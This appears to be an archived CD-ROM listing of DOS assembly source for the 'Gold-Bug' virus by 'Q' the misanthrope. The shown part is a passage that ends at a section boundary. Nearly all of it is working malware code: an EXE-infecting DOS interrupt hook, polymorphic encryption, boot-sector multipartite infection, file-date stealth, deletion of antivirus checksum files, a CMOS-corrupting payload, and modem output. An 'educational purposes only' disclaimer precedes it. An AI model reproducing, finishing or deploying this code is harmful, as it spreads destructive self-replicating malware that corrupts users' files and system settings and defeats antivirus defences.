home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / SOURCE.ZIP / GOLD-BUG.ASM < prev    next >
Encoding:
Assembly Source File  |  1996-04-26  |  25.5 KB  |  1,084 lines

  1. cseg        segment    para    public    'code'
  2.  
  3. gold_bug    proc    near
  4.  
  5. assume        cs:cseg
  6.  
  7.  
  8.  
  9. ;-----------------------------------------------------------------------------
  10.  
  11.  
  12.  
  13. ;designed by "Q" the misanthrope.
  14.  
  15.  
  16.  
  17. ;-----------------------------------------------------------------------------
  18.  
  19.  
  20.  
  21. ; CAUTION: THIS IS DESTRUCTIVE CODE.  YOU SHOULD NOT EVEN BE LOOKING AT IT.
  22.  
  23. ;          I HAVE NEVER AND WILL NEVER RELEASE THIS CODE.  IF YOU SHOULD BE
  24.  
  25. ;          LOOKING AT IT, IT IS BECAUSE IT WAS STOLEN FROM ME.  YOU HAVE NO
  26.  
  27. ;          RIGHT TO LOOK AT THIS CODE.  IF THIS SOURCE SHOULD FALL INTO THE
  28.  
  29. ;          WRONG HANDS, IT COULD BE VERY BAD!  DESTROY THIS IMMEDIATELY.  I
  30.  
  31. ;          HOLD NO RESPONSIBILITY FOR WHAT STUPID PEOPLE DO WITH THIS CODE.
  32.  
  33. ;          THIS WAS WRITTEN FOR EDUCATIONAL PURPOSES ONLY!!!
  34.  
  35.  
  36.  
  37. ;-----------------------------------------------------------------------------
  38.  
  39.  
  40.  
  41. .186
  42.  
  43. TRUE        equ    001h
  44.  
  45. FALSE        equ    000h
  46.  
  47.  
  48.  
  49. ;-----------------------------------------------------------------------------
  50.  
  51.  
  52.  
  53. ;option                     bytes used    and where
  54.  
  55.  
  56.  
  57. DELETE_SCANNERS    equ    FALSE    ; -2 bytes  -2 in com_code
  58.  
  59. CHECK_FOR_8088    equ    TRUE    ;  4 bytes   4 in com_code
  60.  
  61. INFECT_RANDOM    equ    TRUE    ;  4 bytes   4 in com_code
  62.  
  63. CMOS_BOMB    equ    TRUE    ;  4 bytes   4 in com_code
  64.  
  65. DEFLECT_DELETE    equ    TRUE    ;  5 bytes   5 in com_code
  66.  
  67. READING_STEALTH    equ    TRUE    ;  5 bytes   5 in com_code
  68.  
  69. SAME_FILE_DATE    equ    TRUE    ; 24 bytes  24 in com_code
  70.  
  71. DOUBLE_DECRIPT    equ    TRUE    ; 26 bytes  26 in com_code
  72.  
  73. EXECUTE_SPAWNED    equ    TRUE    ; 35 bytes  32 in com_code  3 in boot_code
  74.  
  75. MODEM_CODE    equ    TRUE    ; 40 bytes  29 in com_code 11 in boot_code
  76.  
  77. ANTI_ANTIVIRUS    equ    TRUE    ; 46 bytes  35 in com_code 11 in boot_code
  78.  
  79. POLYMORPHIC    equ    TRUE    ; 90 bytes  74 in com_code 16 in boot_code
  80.  
  81. MULTIPARTITE    equ    TRUE    ;372 bytes 346 in com_code 26 in boot_code
  82.  
  83.  
  84.  
  85. ;-----------------------------------------------------------------------------
  86.  
  87.  
  88.  
  89. ;floppy    boot infection
  90.  
  91.  
  92.  
  93. FLOPPY_1_2M    equ    001h
  94.  
  95. FLOPPY_760K    equ    000h
  96.  
  97. FLOPPY_TYPE    equ    FLOPPY_1_2M
  98.  
  99.  
  100.  
  101. ;-----------------------------------------------------------------------------
  102.  
  103.  
  104.  
  105. IFE MULTIPARTITE
  106.  
  107. DELETE_SCANNERS    equ    FALSE
  108.  
  109. CHECK_FOR_8088    equ    FALSE
  110.  
  111. INFECT_RANDOM    equ    FALSE
  112.  
  113. DEFLECT_DELETE    equ    FALSE
  114.  
  115. READING_STEALTH    equ    FALSE
  116.  
  117. SAME_FILE_DATE    equ    FALSE
  118.  
  119. EXECUTE_SPAWNED    equ    FALSE
  120.  
  121. POLYMORPHIC    equ    FALSE
  122.  
  123. ENDIF
  124.  
  125.  
  126.  
  127. ;-----------------------------------------------------------------------------
  128.  
  129.  
  130.  
  131. SECTOR_SIZE    equ    00200h
  132.  
  133. RES_OFFSET    equ    0fb00h
  134.  
  135. COM_OFFSET    equ    00100h
  136.  
  137. RELATIVE_OFFSET    equ    RES_OFFSET-COM_OFFSET
  138.  
  139. PART_OFFSET    equ    COM_OFFSET+SECTOR_SIZE
  140.  
  141. BOOT_OFFSET    equ    07c00h
  142.  
  143. RELATIVE_BOOT    equ    BOOT_OFFSET-PART_OFFSET
  144.  
  145. LOW_JMP_10    equ    0031ch
  146.  
  147. LOW_JMP_21    equ    00321h
  148.  
  149. SAVE_INT_CHAIN    equ    0032ch
  150.  
  151. SCRATCH_AREA    equ    08000h
  152.  
  153. HEADER_SEGMENT    equ    00034h
  154.  
  155. INT_21_IS_NOW    equ    0cch
  156.  
  157. BIOS_INT_13    equ    0c6h
  158.  
  159. NEW_INT_13_LOOP    equ    0cdh
  160.  
  161. BOOT_SECTOR    equ    001h
  162.  
  163. DESCRIPTOR_OFF    equ    015h
  164.  
  165. IF FLOPPY_TYPE EQ FLOPPY_1_2M
  166.  
  167. DESCRIPTOR    equ    0f909h
  168.  
  169. OLD_BOOT_SECTOR    equ    00eh
  170.  
  171. COM_CODE_SECTOR    equ    00dh
  172.  
  173. ELSE
  174.  
  175. DESCRIPTOR    equ    0f905h
  176.  
  177. OLD_BOOT_SECTOR    equ    005h
  178.  
  179. COM_CODE_SECTOR    equ    004h
  180.  
  181. ENDIF
  182.  
  183. READ_ONLY    equ    001h
  184.  
  185. SYSTEM        equ    004h
  186.  
  187. DELTA_RI    equ    004h
  188.  
  189. DSR        equ    020h
  190.  
  191. CTS        equ    010h
  192.  
  193. CD        equ    080h
  194.  
  195. FAR_JUMP    equ    0eah
  196.  
  197. MIN_FILE_SIZE    equ    00500h
  198.  
  199. PSP_SIZE    equ    00100h
  200.  
  201. VIRGIN_INT_13_A    equ    00806h
  202.  
  203. VIRGIN_INT_13_B    equ    007b4h
  204.  
  205. VIRGIN_INT_2F    equ    00706h
  206.  
  207. FAR_JUMP_OFFSET    equ    006h
  208.  
  209. SET_INT_OFFSET    equ    007h
  210.  
  211. CHANGE_SEG_OFF    equ    009h
  212.  
  213. VIDEO_MODE    equ    00449h
  214.  
  215. MONOCHROME    equ    007h
  216.  
  217. COLOR_VIDEO_MEM    equ    0b000h
  218.  
  219. ADDR_MUL    equ    004h
  220.  
  221. SINGLE_BYTE_INT    equ    003h
  222.  
  223. VIDEO_INT    equ    010h
  224.  
  225. VIDEO_INT_ADDR    equ    VIDEO_INT*ADDR_MUL
  226.  
  227. DISK_INT    equ    013h
  228.  
  229. DISK_INT_ADDR    equ    DISK_INT*ADDR_MUL
  230.  
  231. SERIAL_INT    equ    014h
  232.  
  233. DOS_INT        equ    021h
  234.  
  235. DOS_INT_ADDR    equ    DOS_INT*ADDR_MUL
  236.  
  237. MULTIPLEX_INT    equ    02fh
  238.  
  239. COMMAND_LINE    equ    080h
  240.  
  241. FIRST_FCB    equ    05ch
  242.  
  243. SECOND_FCB    equ    06ch
  244.  
  245. NULL        equ    00000h
  246.  
  247. GET_PORT_STATUS    equ    00300h
  248.  
  249. WRITE_TO_PORT    equ    00100h
  250.  
  251. HD_0_HEAD_0    equ    00080h
  252.  
  253. READ_A_SECTOR    equ    00201h
  254.  
  255. WRITE_A_SECTOR    equ    00301h
  256.  
  257. GET        equ    000h
  258.  
  259. SET        equ    001h
  260.  
  261. DELETE_W_FCB    equ    01300h
  262.  
  263. DEFAULT_DRIVE    equ    000h
  264.  
  265. GET_DEFAULT_DR    equ    01900h
  266.  
  267. DOS_SET_INT    equ    02500h
  268.  
  269. FILE_DATE_TIME    equ    05700h
  270.  
  271. DENYNONE    equ    040h
  272.  
  273. OPEN_W_HANDLE    equ    03d00h
  274.  
  275. READ_W_HANDLE    equ    03f00h
  276.  
  277. WRITE_W_HANDLE    equ    04000h
  278.  
  279. CLOSE_HANDLE    equ    03e00h
  280.  
  281. UNLINK        equ    04100h
  282.  
  283. FILE_ATTRIBUTES    equ    04300h
  284.  
  285. RESIZE_MEMORY    equ    04a00h
  286.  
  287. QUERY_FREE_HMA    equ    04a01h
  288.  
  289. ALLOCATE_HMA    equ    04a02h
  290.  
  291. EXEC_PROGRAM    equ    04b00h
  292.  
  293. GET_ERROR_LEVEL    equ    04d00h
  294.  
  295. TERMINATE_W_ERR    equ    04c00h
  296.  
  297. RENAME_A_FILE    equ    05600h
  298.  
  299. LSEEK_TO_END    equ    04202h
  300.  
  301. CREATE_NEW_FILE    equ    05b00h
  302.  
  303. RESIDENT_LENGTH    equ    068h
  304.  
  305. PARAMETER_TABLE    equ    005f1h
  306.  
  307. MAX_PATH_LENGTH    equ    00080h
  308.  
  309. EXE_HEADER_SIZE    equ    020h
  310.  
  311. NEW_EXE_HEADER    equ    00040h
  312.  
  313. NEW_EXE_OFFSET    equ    018h
  314.  
  315. PKLITE_SIGN    equ    'KP'
  316.  
  317. PKLITE_OFFSET    equ    01eh
  318.  
  319. NO_OF_COM_PORTS    equ    004h
  320.  
  321. WINDOWS_BEGIN    equ    01605h
  322.  
  323. WINDOWS_END    equ    01606h
  324.  
  325. ERROR_IN_EXE    equ    0000bh
  326.  
  327. IF POLYMORPHIC
  328.  
  329. FILE_SIGNATURE    equ    07081h
  330.  
  331. XOR_SWAP_OFFSET    equ    byte ptr ((offset serial_number)-(offset com_code))+TWO_BYTES
  332.  
  333. FILE_LEN_OFFSET    equ    byte ptr ((offset serial_number)-(offset com_code))+THREE_BYTES
  334.  
  335. FIRST_UNDO_OFF    equ    byte ptr ((offset first_jmp)-(offset com_code)+ONE_BYTE)
  336.  
  337. SECOND_UNDO_OFF    equ    byte ptr ((offset second_jmp)-(offset com_code))
  338.  
  339. BL_BX_OFFSET    equ    byte ptr ((offset incbl_incbx)-(offset com_code))
  340.  
  341. ROTATED_OFFSET    equ    byte ptr ((offset rotated_code)-(offset    com_code))
  342.  
  343. ELSE
  344.  
  345. FILE_SIGNATURE    equ    0070eh
  346.  
  347. ENDIF
  348.  
  349. IF MODEM_CODE
  350.  
  351. STRING_LENGTH    equ    byte ptr ((offset partition_sig)-(offset string))
  352.  
  353. ENDIF
  354.  
  355. IF EXECUTE_SPAWNED
  356.  
  357. EXEC_SUBTRACT    equ    byte ptr ((offset file_name)-(offset exec_table))
  358.  
  359. ENDIF
  360.  
  361. DH_OFFSET    equ    byte ptr ((offset dh_value)-(offset initialize_boot)+TWO_BYTES)
  362.  
  363. ONE_NIBBLE    equ    004h
  364.  
  365. ONE_BYTE    equ    001h
  366.  
  367. TWO_BYTES    equ    002h
  368.  
  369. THREE_BYTES    equ    003h
  370.  
  371. FOUR_BYTES    equ    004h
  372.  
  373. FIVE_BYTES    equ    005h
  374.  
  375. FIVE_BITS    equ    005h
  376.  
  377. EIGHT_BYTES    equ    008h
  378.  
  379. USING_HARD_DISK    equ    080h
  380.  
  381. KEEP_CF_INTACT    equ    002h
  382.  
  383. CMOS_CRC_ERROR    equ    02eh
  384.  
  385. CMOS_PORT    equ    070h
  386.  
  387. REMOVE_NOP    equ    001h
  388.  
  389. CR        equ    00dh
  390.  
  391. LF        equ    00ah
  392.  
  393. INT3_INCBX    equ    043cch
  394.  
  395. INC_BL        equ    0c3feh
  396.  
  397. INCBX_INCBL_XOR    equ    INT3_INCBX XOR INC_BL
  398.  
  399. JMP_NO_SIGN    equ    079h
  400.  
  401. JMP_NOT_ZERO    equ    075h
  402.  
  403. JNS_JNZ_XOR    equ    JMP_NO_SIGN XOR    JMP_NOT_ZERO
  404.  
  405. CLI_PUSHCS    equ    00efah
  406.  
  407.  
  408.  
  409. ;-----------------------------------------------------------------------------
  410.  
  411.  
  412.  
  413. video_seg    segment    at 0c000h
  414.  
  415.         org    00000h
  416.  
  417. original_int_10    label    word
  418.  
  419. video_seg    ends
  420.  
  421.  
  422.  
  423. ;-----------------------------------------------------------------------------
  424.  
  425.  
  426.  
  427. io_seg        segment    at 00070h
  428.  
  429.         org    00893h
  430.  
  431. original_2f_jmp    label    word
  432.  
  433. io_seg        ends
  434.  
  435.  
  436.  
  437. ;-----------------------------------------------------------------------------
  438.  
  439.  
  440.  
  441.         org    COM_OFFSET
  442.  
  443. com_code:
  444.  
  445.  
  446.  
  447. ;-----------------------------------------------------------------------------
  448.  
  449.  
  450.  
  451.         IF    POLYMORPHIC
  452.  
  453. first_decode    proc    near
  454.  
  455. serial_number:    xor    word ptr ds:[si+bx+FIRST_UNDO_OFF],MIN_FILE_SIZE
  456.  
  457.         org    $-REMOVE_NOP
  458.  
  459.         org    $-FIVE_BYTES
  460.  
  461.         jmp    load_it
  462.  
  463.         org    $+TWO_BYTES
  464.  
  465. rotated_code:    int    SINGLE_BYTE_INT
  466.  
  467.         into
  468.  
  469.         adc    al,0d4h
  470.  
  471. incbl_incbx:    inc    bl
  472.  
  473. first_jmp:    jnz    serial_number
  474.  
  475.         add    bx,si
  476.  
  477.         jns    serial_number
  478.  
  479. first_decode    endp
  480.  
  481.  
  482.  
  483. ;-----------------------------------------------------------------------------
  484.  
  485.  
  486.  
  487.         IF    DOUBLE_DECRIPT
  488.  
  489. second_decode    proc    near
  490.  
  491.         push    si
  492.  
  493. get_next_byte:    lodsw
  494.  
  495.         add    bx,ax
  496.  
  497.         inc    bx
  498.  
  499.         xor    byte ptr ds:[si+SECOND_UNDO_OFF],bl
  500.  
  501.         org    $-REMOVE_NOP
  502.  
  503.         dec    si
  504.  
  505. second_jmp:    jns    get_next_byte
  506.  
  507.         pop    si
  508.  
  509. second_decode    endp
  510.  
  511.         ENDIF
  512.  
  513.         ENDIF
  514.  
  515.  
  516.  
  517. ;-----------------------------------------------------------------------------
  518.  
  519.  
  520.  
  521. com_start    proc    near
  522.  
  523.         IF    MULTIPARTITE
  524.  
  525.         push    cs
  526.  
  527.         pop    es
  528.  
  529.         call    full_move_w_si
  530.  
  531.         mov    ds,cx
  532.  
  533.         cmp    cx,word    ptr ds:[NEW_INT_13_LOOP*ADDR_MUL]
  534.  
  535.         jne    dont_set_int
  536.  
  537.         mov    di,VIRGIN_INT_13_B
  538.  
  539.         call    set_both_ints
  540.  
  541.         push    cs
  542.  
  543.         pop    es
  544.  
  545.         ENDIF
  546.  
  547. dont_set_int:    IF    CHECK_FOR_8088
  548.  
  549.         mov    cl,RESIDENT_LENGTH
  550.  
  551.         mov    al,high(RESIZE_MEMORY)
  552.  
  553.         shl    ax,cl
  554.  
  555.         mov    bx,cx
  556.  
  557.         int    DOS_INT
  558.  
  559.         ELSEIF    MULTIPARTITE
  560.  
  561.         mov    bx,RESIDENT_LENGTH
  562.  
  563.         mov    ah,high(RESIZE_MEMORY)
  564.  
  565.         int    DOS_INT
  566.  
  567.         ENDIF
  568.  
  569.         IF    EXECUTE_SPAWNED
  570.  
  571.         pusha
  572.  
  573.         call    from_com_code+RELATIVE_OFFSET
  574.  
  575.         popa
  576.  
  577.         push    cs
  578.  
  579.         pop    ds
  580.  
  581.         push    cs
  582.  
  583.         pop    es
  584.  
  585.         cmpsw
  586.  
  587.         mov    dx,si
  588.  
  589.         sub    si,EXEC_SUBTRACT
  590.  
  591.         org    $-REMOVE_NOP
  592.  
  593.         mov    bx,PARAMETER_TABLE
  594.  
  595.         mov    di,bx
  596.  
  597.         mov    ax,EXEC_PROGRAM
  598.  
  599. set_table:    scasw
  600.  
  601.         movsb
  602.  
  603.         scasb
  604.  
  605.         mov    word ptr ds:[di],ds
  606.  
  607.         je    set_table
  608.  
  609.         int    DOS_INT
  610.  
  611.         mov    ah,high(GET_ERROR_LEVEL)
  612.  
  613.         int    DOS_INT
  614.  
  615.         mov    ah,high(TERMINATE_W_ERR)
  616.  
  617.         ELSEIF    MULTIPARTITE
  618.  
  619.         call    from_com_code+RELATIVE_OFFSET
  620.  
  621.         mov    ax,TERMINATE_W_ERR
  622.  
  623.         ENDIF
  624.  
  625.         IF    MULTIPARTITE
  626.  
  627.         int    DOS_INT
  628.  
  629.         ELSE
  630.  
  631.         jmp    boot_load
  632.  
  633.         ENDIF
  634.  
  635. com_start    endp
  636.  
  637.  
  638.  
  639. ;-----------------------------------------------------------------------------
  640.  
  641.  
  642.  
  643. interrupt_21    proc    far
  644.  
  645.         pushf
  646.  
  647.         pusha
  648.  
  649.         push    ds
  650.  
  651.         push    es
  652.  
  653.         mov    di,dx
  654.  
  655.         push    ds
  656.  
  657.         pop    es
  658.  
  659.         cld
  660.  
  661.         mov    cx,MAX_PATH_LENGTH
  662.  
  663.         IF    MULTIPARTITE
  664.  
  665.         mov    si,offset file_name+RELATIVE_OFFSET
  666.  
  667.         ENDIF
  668.  
  669.         IF    READING_STEALTH    OR DEFLECT_DELETE
  670.  
  671.         mov    bx,ax
  672.  
  673.         ENDIF
  674.  
  675.         cmp    ax,EXEC_PROGRAM
  676.  
  677.         IF    READING_STEALTH
  678.  
  679.         je    start_process
  680.  
  681.         cmp    ah,high(OPEN_W_HANDLE)
  682.  
  683.         ENDIF
  684.  
  685.         IF    DEFLECT_DELETE
  686.  
  687.         je    start_process
  688.  
  689.         cmp    ah,high(UNLINK)
  690.  
  691.         ENDIF
  692.  
  693.         jne    a_return
  694.  
  695. start_process:    xor    ax,ax
  696.  
  697. copy_name:    IF    MULTIPARTITE
  698.  
  699.         mov    bl,byte    ptr ds:[di]
  700.  
  701.         mov    byte ptr cs:[si],bl
  702.  
  703.         inc    si
  704.  
  705.         ENDIF
  706.  
  707.         scasb
  708.  
  709.         loopne    copy_name
  710.  
  711.         std
  712.  
  713.         scasw
  714.  
  715.         IF    MULTIPARTITE
  716.  
  717.         mov    byte ptr cs:[si-FIVE_BYTES],al
  718.  
  719.         ENDIF
  720.  
  721.         mov    al,'E'
  722.  
  723.         scasw
  724.  
  725.         jne    a_return
  726.  
  727.         mov    ah,'X'
  728.  
  729.         scasw
  730.  
  731.         jne    a_return
  732.  
  733.         IF    MULTIPARTITE
  734.  
  735.         push    ds
  736.  
  737.         ENDIF
  738.  
  739.         pusha
  740.  
  741.         call    open_close_file
  742.  
  743.         IF    SAME_FILE_DATE
  744.  
  745.         mov    word ptr cs:[new_time+ONE_BYTE+RELATIVE_OFFSET],cx
  746.  
  747.         mov    word ptr cs:[new_date+ONE_BYTE+RELATIVE_OFFSET],dx
  748.  
  749.         ENDIF
  750.  
  751.         or    si,si
  752.  
  753.         IF    MULTIPARTITE
  754.  
  755.         jnz    large_exe_file
  756.  
  757.         cmp    word ptr ds:[si],FILE_SIGNATURE
  758.  
  759.         je    our_kind
  760.  
  761.         IF    INFECT_RANDOM
  762.  
  763.         xor    di,bp
  764.  
  765.         jpo    our_kind
  766.  
  767.         ENDIF
  768.  
  769.         cmp    word ptr ds:[si+NEW_EXE_OFFSET],NEW_EXE_HEADER
  770.  
  771.         jb    test_if_open
  772.  
  773.         cmp    word ptr ds:[si+PKLITE_OFFSET],PKLITE_SIGN
  774.  
  775.         je    test_if_open
  776.  
  777.         ELSE
  778.  
  779.         jz    our_kind
  780.  
  781.         ENDIF
  782.  
  783. large_exe_file:    popa
  784.  
  785.         IF    MULTIPARTITE
  786.  
  787.         pop    ds
  788.  
  789.         ENDIF
  790.  
  791.         IF    ANTI_ANTIVIRUS
  792.  
  793.         mov    al,'N'
  794.  
  795.         scasb
  796.  
  797.         ja    a_return
  798.  
  799.         mov    al,'A'
  800.  
  801.         scasb
  802.  
  803.         jne    a_return
  804.  
  805.         pop    es
  806.  
  807.         pop    ds
  808.  
  809.         popa
  810.  
  811.         IF    READING_STEALTH    OR DEFLECT_DELETE
  812.  
  813.         cmp    ah,high(EXEC_PROGRAM)
  814.  
  815.         jne    opened_file
  816.  
  817.         ENDIF
  818.  
  819.         popf
  820.  
  821.         IF    CMOS_BOMB
  822.  
  823.         mov    al,CMOS_CRC_ERROR
  824.  
  825.         out    CMOS_PORT,ax
  826.  
  827.         ENDIF
  828.  
  829.         IF    DELETE_SCANNERS
  830.  
  831.         mov    ah,high(UNLINK)
  832.  
  833.         jmp    short old_int_10_21
  834.  
  835.         ELSE
  836.  
  837.         mov    al,ERROR_IN_EXE
  838.  
  839.         stc
  840.  
  841.         retf    KEEP_CF_INTACT
  842.  
  843.         ENDIF
  844.  
  845.         ELSE
  846.  
  847.         jmp    short a_return
  848.  
  849.         ENDIF
  850.  
  851. our_kind:    popa
  852.  
  853.         IF    MULTIPARTITE
  854.  
  855.         pop    ds
  856.  
  857. error_in_copy:    inc    di
  858.  
  859.         xchg    byte ptr ds:[di],ch
  860.  
  861.         mov    ax,OPEN_W_HANDLE+DENYNONE
  862.  
  863.         int    INT_21_IS_NOW
  864.  
  865.         mov    bx,ax
  866.  
  867.         jnc    close_it
  868.  
  869.         mov    byte ptr ds:[di],ch
  870.  
  871. jmp_a_return:    jmp    short a_return
  872.  
  873. close_it:    call    force_close
  874.  
  875.         ENDIF
  876.  
  877. a_return:    pop    es
  878.  
  879.         pop    ds
  880.  
  881.         popa
  882.  
  883. opened_file:    popf
  884.  
  885. old_int_10_21:    jmp    far ptr    original_int_10
  886.  
  887.         IF    MULTIPARTITE
  888.  
  889. test_if_open:    popa
  890.  
  891.         pop    ds
  892.  
  893.         IF    READING_STEALTH    OR DEFLECT_DELETE
  894.  
  895.         cmp    bh,high(EXEC_PROGRAM)
  896.  
  897.         jne    error_in_copy
  898.  
  899.         ENDIF
  900.  
  901. drive_letter:    sub    al,USING_HARD_DISK
  902.  
  903.         jns    error_in_copy
  904.  
  905.         mov    ax,GET+FILE_ATTRIBUTES
  906.  
  907.         int    INT_21_IS_NOW
  908.  
  909.         mov    ah,high(RENAME_A_FILE)
  910.  
  911.         pusha
  912.  
  913.         mov    di,offset file_name+RELATIVE_OFFSET
  914.  
  915.         push    cs
  916.  
  917.         pop    es
  918.  
  919.         int    INT_21_IS_NOW
  920.  
  921. set_attribs:    popa
  922.  
  923.         int    INT_21_IS_NOW
  924.  
  925.         mov    ah,high(CREATE_NEW_FILE)
  926.  
  927.         int    INT_21_IS_NOW
  928.  
  929.         jc    error_in_copy
  930.  
  931.         mov    bx,ax
  932.  
  933.         mov    ax,SET+FILE_ATTRIBUTES
  934.  
  935.         pusha
  936.  
  937.         push    ds
  938.  
  939.         push    cs
  940.  
  941.         pop    ds
  942.  
  943.         or    cl,SYSTEM
  944.  
  945.         mov    dx,offset file_name+RELATIVE_OFFSET
  946.  
  947.         int    INT_21_IS_NOW
  948.  
  949.         IF    ANTI_ANTIVIRUS
  950.  
  951.         mov    dx,offset fcb_name+RELATIVE_OFFSET
  952.  
  953.         mov    ah,high(DELETE_W_FCB)
  954.  
  955.         int    INT_21_IS_NOW
  956.  
  957.         ENDIF
  958.  
  959.         xor    di,di
  960.  
  961.         mov    ax,SCRATCH_AREA
  962.  
  963.         mov    es,ax
  964.  
  965.         mov    ds,ax
  966.  
  967.         call    full_move
  968.  
  969.         call    move_some_more
  970.  
  971.         IF    POLYMORPHIC
  972.  
  973.         xor    si,si
  974.  
  975.         mov    cx,word    ptr ds:[si+FILE_LEN_OFFSET]
  976.  
  977.         org    $-REMOVE_NOP
  978.  
  979.         IF    DOUBLE_DECRIPT
  980.  
  981.         pusha
  982.  
  983. set_second:    add    al,byte    ptr cs:[si+RES_OFFSET]
  984.  
  985.         inc    ax
  986.  
  987.         xor    byte ptr ds:[si+SECOND_UNDO_OFF+TWO_BYTES],al
  988.  
  989.         org    $-REMOVE_NOP
  990.  
  991.         inc    si
  992.  
  993.         loop    set_second
  994.  
  995.         popa
  996.  
  997.         ENDIF
  998.  
  999.         mov    ax,cx
  1000.  
  1001.         pusha
  1002.  
  1003.         xor    bx,bx
  1004.  
  1005.         mov    bl,byte    ptr ds:[si+XOR_SWAP_OFFSET]
  1006.  
  1007.         org    $-REMOVE_NOP
  1008.  
  1009. set_first:    xor    word ptr ds:[bx],ax
  1010.  
  1011.         inc    bx
  1012.  
  1013.         loop    set_first
  1014.  
  1015.         popa
  1016.  
  1017.         ELSE
  1018.  
  1019. file_length:    mov    cx,NULL
  1020.  
  1021.         ENDIF
  1022.  
  1023.         mov    ah,high(WRITE_W_HANDLE)
  1024.  
  1025.                 cwd
  1026.  
  1027.         int    INT_21_IS_NOW
  1028.  
  1029.         IF    SAME_FILE_DATE
  1030.  
  1031.         mov    ax,SET+FILE_DATE_TIME
  1032.  
  1033. new_time:    mov    cx,NULL
  1034.  
  1035. new_date:    mov    dx,NULL
  1036.  
  1037.         call    do_int21_close
  1038.  
  1039.         ELSE
  1040.  
  1041.         call    force_close
  1042.  
  1043.         ENDIF
  1044.  
  1045.         pop    ds
  1046.  
  1047.         jmp    short set_attribs
  1048.  
  1049.         ENDIF
  1050.  
  1051. interrupt_21    endp
  1052.  
  1053.  
  1054.  
  1055. ;-----------------------------------------------------------------------------
  1056.  
  1057.  
  1058.  
  1059. open_close_file    proc    near
  1060.  
  1061.         mov    ax,OPEN_W_HANDLE+DENYNONE
  1062.  
  1063.         xor    cx,cx
  1064.  
  1065.         int    INT_21_IS_NOW
  1066.  
  1067.         jc    more_returns
  1068.  
  1069.         mov    bx,ax
  1070.  
  1071.         IF    MULTIPARTITE
  1072.  
  1073.         mov    dx,HEADER_SEGMENT
  1074.  
  1075.         mov    ds,dx
  1076.  
  1077.         ENDIF
  1078.  
  1079.         IF    MODEM_CODE
  1080.  
  1081.         IF    MULTIPARTITE
  1082.  
  1083.         mov    dl,NO_OF_COM_PORTS
  1084.  
  1085.         ELSE
  1086.  
  1087.         mov    dx,NO_OF_COM_PORTS
  1088.  
  1089.         ENDIF
  1090.  
  1091. scan_coms:    dec    dx
  1092.  
  1093.         js    no_more_coms
  1094.  
  1095.         mov    ax,GET_PORT_STATUS
  1096.  
  1097.         int    SERIAL_INT
  1098.  
  1099.         xor    al,DELTA_RI+CTS+DSR
  1100.  
  1101.         and    al,DELTA_RI+CTS+DSR+CD
  1102.  
  1103.         jnz    scan_coms
  1104.  
  1105.         mov    si,offset string+STRING_LENGTH-ONE_BYTE+RELATIVE_OFFSET
  1106.  
  1107.         mov    cl,STRING_LENGTH
  1108.  
  1109. output_data:    lods    byte ptr cs:[si]
  1110.  
  1111.         mov    ah,high(WRITE_TO_PORT)
  1112.  
  1113.         int    SERIAL_INT
  1114.  
  1115.         loop    output_data
  1116.  
  1117.         ENDIF
  1118.  
  1119. no_more_coms:    IF    MULTIPARTITE
  1120.  
  1121.         mov    cl,EXE_HEADER_SIZE
  1122.  
  1123.         mov    ah,high(READ_W_HANDLE)
  1124.  
  1125.                 cwd
  1126.  
  1127.         int    INT_21_IS_NOW
  1128.  
  1129.         xor    cx,cx
  1130.  
  1131.                 ELSE
  1132.  
  1133.                 xor    dx,dx
  1134.  
  1135.         ENDIF
  1136.  
  1137.         mov    ax,LSEEK_TO_END
  1138.  
  1139.         int    INT_21_IS_NOW
  1140.  
  1141.         IF    MULTIPARTITE
  1142.  
  1143.         IF    POLYMORPHIC
  1144.  
  1145.         mov    word ptr cs:[FILE_LEN_OFFSET+RES_OFFSET],ax
  1146.  
  1147.         ELSE
  1148.  
  1149.         mov    word ptr cs:[file_length+ONE_BYTE+RELATIVE_OFFSET],ax
  1150.  
  1151.         ENDIF
  1152.  
  1153.         ENDIF
  1154.  
  1155.         inc    ah
  1156.  
  1157.         cmp    ax,MIN_FILE_SIZE+PSP_SIZE
  1158.  
  1159.         adc    dx,cx
  1160.  
  1161.         mov    si,dx
  1162.  
  1163.         IF    SAME_FILE_DATE
  1164.  
  1165.         mov    ax,GET+FILE_DATE_TIME
  1166.  
  1167. do_int21_close:    int    INT_21_IS_NOW
  1168.  
  1169.         ENDIF
  1170.  
  1171. force_close:    mov    ah,high(CLOSE_HANDLE)
  1172.  
  1173.         int    INT_21_IS_NOW
  1174.  
  1175. more_returns:    ret
  1176.  
  1177. open_close_file    endp
  1178.  
  1179.  
  1180.  
  1181. ;-----------------------------------------------------------------------------
  1182.  
  1183.  
  1184.  
  1185. full_move_w_si    proc    near
  1186.  
  1187.         IF    POLYMORPHIC
  1188.  
  1189. swap_incbx_bl:    xor    word ptr ds:[si+BL_BX_OFFSET],INCBX_INCBL_XOR
  1190.  
  1191.         org    $-REMOVE_NOP
  1192.  
  1193.         xor    byte ptr ds:[si+BL_BX_OFFSET+TWO_BYTES],JNS_JNZ_XOR
  1194.  
  1195.         org    $-REMOVE_NOP
  1196.  
  1197.         ENDIF
  1198.  
  1199.         stc
  1200.  
  1201. full_move_w_di:    mov    di,RES_OFFSET
  1202.  
  1203. full_move:    call    move_code
  1204.  
  1205. move_code:    jc    move_some_more
  1206.  
  1207.         mov    si,RES_OFFSET
  1208.  
  1209.         IF    POLYMORPHIC
  1210.  
  1211.         IF    CHECK_FOR_8088
  1212.  
  1213.         mov    cl,ONE_NIBBLE
  1214.  
  1215.         ror    word ptr cs:[si+ROTATED_OFFSET],cl
  1216.  
  1217.         org    $-REMOVE_NOP
  1218.  
  1219.         ELSE
  1220.  
  1221.         ror    word ptr cs:[si+ROTATED_OFFSET],ONE_NIBBLE
  1222.  
  1223.         org    $-REMOVE_NOP
  1224.  
  1225.         ENDIF
  1226.  
  1227.         ENDIF
  1228.  
  1229. move_some_more:    mov    cx,SECTOR_SIZE
  1230.  
  1231.         pushf
  1232.  
  1233.         cld
  1234.  
  1235.         rep    movs byte ptr es:[di],cs:[si]
  1236.  
  1237.         popf
  1238.  
  1239.         stc
  1240.  
  1241.         ret
  1242.  
  1243. full_move_w_si    endp
  1244.  
  1245.  
  1246.  
  1247. ;-----------------------------------------------------------------------------
  1248.  
  1249.  
  1250.  
  1251.         IF    ANTI_ANTIVIRUS
  1252.  
  1253.         org    PART_OFFSET-ONE_BYTE
  1254.  
  1255. fcb_name    db    DEFAULT_DRIVE
  1256.  
  1257.         ENDIF
  1258.  
  1259.  
  1260.  
  1261. ;-----------------------------------------------------------------------------
  1262.  
  1263.  
  1264.  
  1265.         org    PART_OFFSET
